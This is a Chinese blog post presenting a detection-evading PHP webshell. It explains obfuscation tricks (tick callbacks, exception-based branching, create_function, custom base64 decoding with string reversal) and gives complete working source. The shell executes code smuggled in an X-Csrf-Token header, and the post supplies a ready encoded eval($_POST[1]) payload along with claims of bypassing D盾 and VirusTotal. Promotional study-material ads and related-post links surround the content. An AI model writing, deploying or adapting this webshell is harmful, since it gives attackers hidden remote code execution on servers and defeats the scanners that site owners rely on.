记录一个免杀的php webshell demo

分支对抗

分支对抗简单来说就是利用了增大程序控制分支的复杂度来使得绕过检测引擎,程序在控制流图上往往有几种结构:

那么我们还有其他的改变程序控制流的思路不?此处我用了两种方法混合在一起实现免杀

异常捕获机制

这里使用的是触发异常来完成程序控制流的第一次分支,所以我自己写了一个除以0触发异常的函数

php 复制代码
function safeDivide($a, $b) {
    if ($b == 0) {
        throw new Exception("Division by zero is not allowed.");
    }
    return $a / $b;
}

设置一个pass传参,我设置的主体框架如下:

php 复制代码
try {
    echo "result:".safeDivide(2025, ($_GET['pass']-1));
}catch(Exception $e){
    // evil code
}

回调

我在php的官方文档里翻到一个有趣的函数

ticks参数可以设置Zend VM opcode执行条数后触发

我们测试一下:

php 复制代码
<?php
declare(ticks=15);

function test(){
    echo "this is evil code\n";
}
register_tick_function('test');
for ($i = 1; $i <= 12; $i++) {
    echo "shell: $i\n";
}

我们可以发现设置declare(ticks=15) 后,PHP每累计到约15个"tickable"执行点,就调用一次通过register_tick_function注册的函数。

那么对于我们的webshell免杀,我们也可以利用这个函数,来完成程序控制流的改变

此处的设计将declare回调放在最外层实现第一次的控制流变化,将异常触发放在内层实现第二次

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

动态函数调用

这个就是直接使用php的函数了,没啥好说的了

php 复制代码
create_function(string $args, string $code): string

实际测试的时候,如果使用变量接受的话,容易被检测

php 复制代码
$a = create_function('', '');
$a();

不使用变量来存匿名函数,这个也是尽量减少污点分析时候的特征

php 复制代码
@create_function('','')))();

编码混淆

找个大模型一把梭

base64和逆序

php 复制代码
function custom_base64_decode($input) {
    $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    $input = rtrim($input, '=');
    $binaryString = '';
    foreach (str_split($input) as $char) {
        $index = strpos($base64Chars, $char);
        if ($index === false) {
            throw new Exception("Invalid Base64 character: $char");
        }
    $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}

    $bytes = str_split($binaryString, 8);
    $decodedString = '';

    foreach ($bytes as $byte) {
        $decodedString .= chr(bindec($byte));
    }
    return $decodedString;
}

function reverseString($input)
{
    if (!is_string($input)) {
        return "need str";
    }
    $length = strlen($input);
    $reversed = "";
    for ($i = $length - 1; $i >= 0; $i--) {
        $reversed .= $input[ $i ];
    }
    return $reversed;
}

完整的webshell

源代码

具体的攻击载荷放在http的X-Csrf-Token里

php 复制代码
<?php
session_start();
declare(ticks=15);
function safeDivide($a, $b) {
    if ($b == 0) {
        throw new Exception("Division by zero is not allowed.");
    }
    return $a / $b;
}
function custom_base64_decode($input) {
    $base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    $input = rtrim($input, '=');
    $binaryString = '';
    foreach (str_split($input) as $char) {
        $index = strpos($base64Chars, $char);
        if ($index === false) {
            throw new Exception("Invalid Base64 character: $char");
        }
    $binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}

    $bytes = str_split($binaryString, 8);
    $decodedString = '';

    foreach ($bytes as $byte) {
        $decodedString .= chr(bindec($byte));
    }
    return $decodedString;
}

function reverseString($input)
{
    if (!is_string($input)) {
        return "need str";
    }
    $length = strlen($input);
    $reversed = "";
    for ($i = $length - 1; $i >= 0; $i--) {
        $reversed .= $input[ $i ];
    }
    return $reversed;
}

function tickHandler(){
    try {
        echo "result:".safeDivide(2025, ($_GET['pass']-1));
    }catch(Exception $e){
        @create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))();
    }
}


register_tick_function('tickHandler');

for ($i = 1; $i <= 12; $i++) {
    echo "shell: $i\n";
}

测试环境

PHP版本:PHP7全版本

OS:Windows和Linux环境均测试通过

使用方法

初始payload: eval($_POST[1]);

base64编码,逆序处理: ==wOp0VMbR1UPB1XkgCbhZXZ

放在http头部里

webshell连接

免杀效果展示

  • 第四届伏魔挑战赛成功绕过(white)的截图
  • VT
  • D盾(2.1.8.6)
  • 河马:报了可疑
相关推荐
AnalogElectronic2 小时前
linux 测试网络和端口是否连通的命令详解
linux·网络·php
跨境数据猎手4 小时前
跨境独立站系统技术拆解(附带源码)
服务器·前端·php
淘矿人4 小时前
从0到1:用Claude启动你的第一个项目
开发语言·人工智能·git·python·github·php·pygame
带娃的IT创业者6 小时前
深度解析:从零构建高性能 LLM API 中转网关与成本优化实战
开发语言·gpt·llm·php·高性能·成本优化·api网关
墨染天姬7 小时前
[AI]DeepSeek-R1的GRPO算法
人工智能·算法·php
一颗无敌码农7 小时前
多商户与多门店电商系统有什么区别?核心模式解析
微信小程序·php·用户运营·crmeb
a8a3028 小时前
Laravel5.x进化史:核心特性全解析
nginx·php·laravel
dog2509 小时前
圆锥曲线与丹德林内切球
网络·php
网络安全许木10 小时前
自学渗透测试第28天(协议补漏与FTP抓包)
运维·服务器·网络安全·渗透测试·php